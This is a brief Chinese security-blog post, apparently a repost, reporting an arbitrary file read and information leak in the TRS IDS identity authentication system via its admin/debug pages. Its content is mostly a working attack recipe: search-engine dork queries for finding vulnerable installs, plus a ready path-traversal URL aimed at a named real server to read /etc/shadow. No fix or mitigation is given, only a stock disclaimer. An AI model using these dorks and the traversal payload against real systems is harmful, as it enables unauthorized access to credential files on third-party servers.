TRS身份认证系统任意文件读取漏洞+信息泄露

没穿底裤
没穿底裤
没穿底裤
714
文章
0
评论
2019年12月31日19:20:24评论1,729 views字数 487阅读1分37秒阅读模式
摘要

trs ids 系统存在任意文件读取和信息泄露漏洞具体文件路径在admin/debug/目录下，读取文件为fv.jsp，信息泄露为env.jsp等

trs ids 系统存在任意文件读取和信息泄露漏洞

具体文件路径在admin/debug/目录下，读取文件为fv.jsp，信息泄露为env.jsp等

google

http://203.208.46.145/#newwindow=1&q=intitle:trs身份&start=60

http://203.208.46.145/#newwindow=1&q=intitle:trs+inurl:ids&start=20

baidu

http://www.baidu.com/s?tn=baiduhome_pg&ie=utf-8&bs=intitle%3Atrs+ids&f=8&rsv_bp=1&rsv_spt=1&wd=intitle%3Atrs+ids+inurl%3Aids&rsv_sug3=8&rsv_sug4=369&rsv_sug1=4&inputT=2568

只要变换下关键字就能获取到更多使用ids的系统

http://ids.people.com.cn/ids/admin/debug/fv.jsp?f=/../../../../../../../../etc/shadow

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2019年12月31日19:20:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   TRS身份认证系统任意文件读取漏洞+信息泄露http://cn-sec.com/archives/75382.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息